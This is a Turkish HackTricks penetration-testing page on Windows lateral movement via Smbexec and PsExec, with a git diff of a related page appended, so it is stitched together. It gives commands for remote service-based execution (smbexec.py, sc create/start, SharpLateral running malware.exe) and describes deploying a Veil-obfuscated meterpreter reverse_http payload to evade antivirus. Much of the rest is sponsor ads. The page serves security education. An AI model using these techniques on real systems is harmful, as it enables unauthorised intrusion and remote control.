- Hedef makinede komutları cmd.exe (%COMSPEC%) aracılığıyla yürütmek için geçici bir hizmet (örneğin, "BTOBTO") oluşturarak çalışır, herhangi bir ikili dosya bırakmaz.
- Gizli yaklaşımına rağmen, yürütülen her komut için olay günlükleri oluşturur ve etkileşimsiz bir "shell" biçimi sunar.
- **Smbexec** kullanarak bağlanma komutu şu şekildedir:
```bash
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
```
### Binaries Olmadan Komut Çalıştırma
- **Smbexec**, hedefte fiziksel binary'lere ihtiyaç duymadan, hizmet binPath'leri aracılığıyla doğrudan komut yürütmeyi sağlar.
- Bu yöntem, bir Windows hedefinde tek seferlik komutlar yürütmek için faydalıdır. Örneğin, Metasploit'in `web_delivery` modülü ile birleştirildiğinde, PowerShell hedefli ters Meterpreter yükünün yürütülmesini sağlar.
- Saldırganın makinesinde binPath'i cmd.exe aracılığıyla sağlanan komutu çalıştıracak şekilde ayarlayarak uzaktan bir hizmet oluşturmak, yükü başarıyla yürütmek, geri çağırma ve yük yürütme sağlamak mümkündür; bu, hizmet yanıt hataları olsa bile Metasploit dinleyicisi ile gerçekleşir.
### Komutlar Örneği
Hizmeti oluşturmak ve başlatmak aşağıdaki komutlarla gerçekleştirilebilir:
```bash
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
sc start [ServiceName]
```
FOr further details check [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## References
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve otomatik istismarları kullanarak temel kanıtları toplamak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -9,15 +9,22 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## Nasıl çalışırlar
Sürecin adımları aşağıda özetlenmiştir; bu adımlar, hizmet ikili dosyalarının nasıl manipüle edildiğini ve SMB üzerinden hedef makinede uzaktan yürütme sağladığını göstermektedir:
Bu süreç, hedef makinede SMB üzerinden uzaktan yürütme sağlamak için hizmet ikili dosyalarının nasıl manipüle edildiğini gösteren aşağıdaki adımlarda özetlenmiştir:
1. **Bir hizmet ikili dosyasının ADMIN$ paylaşımına SMB üzerinden kopyalanması** gerçekleştirilir.
2. **Uzaktaki makinede bir hizmetin oluşturulması**, ikili dosyaya işaret edilerek yapılır.
@ -26,11 +33,11 @@ Sürecin adımları aşağıda özetlenmiştir; bu adımlar, hizmet ikili dosyal
### **PsExec'i Manuel Olarak Çalıştırma Süreci**
Antivirüs tespitinden kaçınmak için Veil kullanılarak obfuscate edilmiş, 'met8888.exe' adında bir yürütülebilir yük (msfvenom ile oluşturulmuş) olduğunu varsayalım; bu, bir meterpreter reverse_http yükünü temsil eder. Aşağıdaki adımlar izlenir:
Antivirüs tespitinden kaçınmak için Veil kullanılarak obfuscate edilmiş msfvenom ile oluşturulmuş bir yürütülebilir yük (payload) olduğunu varsayalım, 'met8888.exe' adında, bir meterpreter reverse_http yükünü temsil eden, aşağıdaki adımlar izlenir:
- **İkili dosyanın kopyalanması**: Yürütülebilir dosya, bir komut istemcisinden ADMIN$ paylaşımına kopyalanır, ancak dosya sisteminde gizli kalmak için herhangi bir yere yerleştirilebilir.
- **Bir hizmet oluşturma**: Windows `sc` komutunu kullanarak, uzaktan Windows hizmetlerini sorgulama, oluşturma ve silme imkanı sağlayan bir hizmet "meterpreter" adıyla oluşturulur ve yüklenen ikili dosyaya işaret eder.
- **Bir hizmet oluşturma**: Windows `sc` komutunu kullanarak, Windows hizmetlerini uzaktan sorgulama, oluşturma ve silme imkanı sağlayan, yüklenen ikili dosyaya işaret eden "meterpreter" adında bir hizmet oluşturulur.
- **Hizmeti başlatma**: Son adım, hizmetin başlatılmasıdır; bu, ikili dosyanın gerçek bir hizmet ikili dosyası olmaması ve beklenen yanıt kodunu döndürmemesi nedeniyle muhtemelen bir "zaman aşımı" hatası ile sonuçlanacaktır. Bu hata önemsizdir çünkü asıl hedef ikili dosyanın yürütülmesidir.
@ -38,10 +45,9 @@ Metasploit dinleyicisinin gözlemlenmesi, oturumun başarıyla başlatıldığı
[`sc` komutu hakkında daha fazla bilgi edinin](https://technet.microsoft.com/en-us/library/bb490995.aspx).
Daha ayrıntılı adımları bulmak için: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Windows Sysinternals ikili dosyası PsExec.exe'yi de kullanabilirsiniz:**
**Ayrıca Windows Sysinternals ikili dosyası PsExec.exe'yi de kullanabilirsiniz:**
![](<../../.gitbook/assets/image (165).png>)
@ -53,16 +59,23 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
{% endcode %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>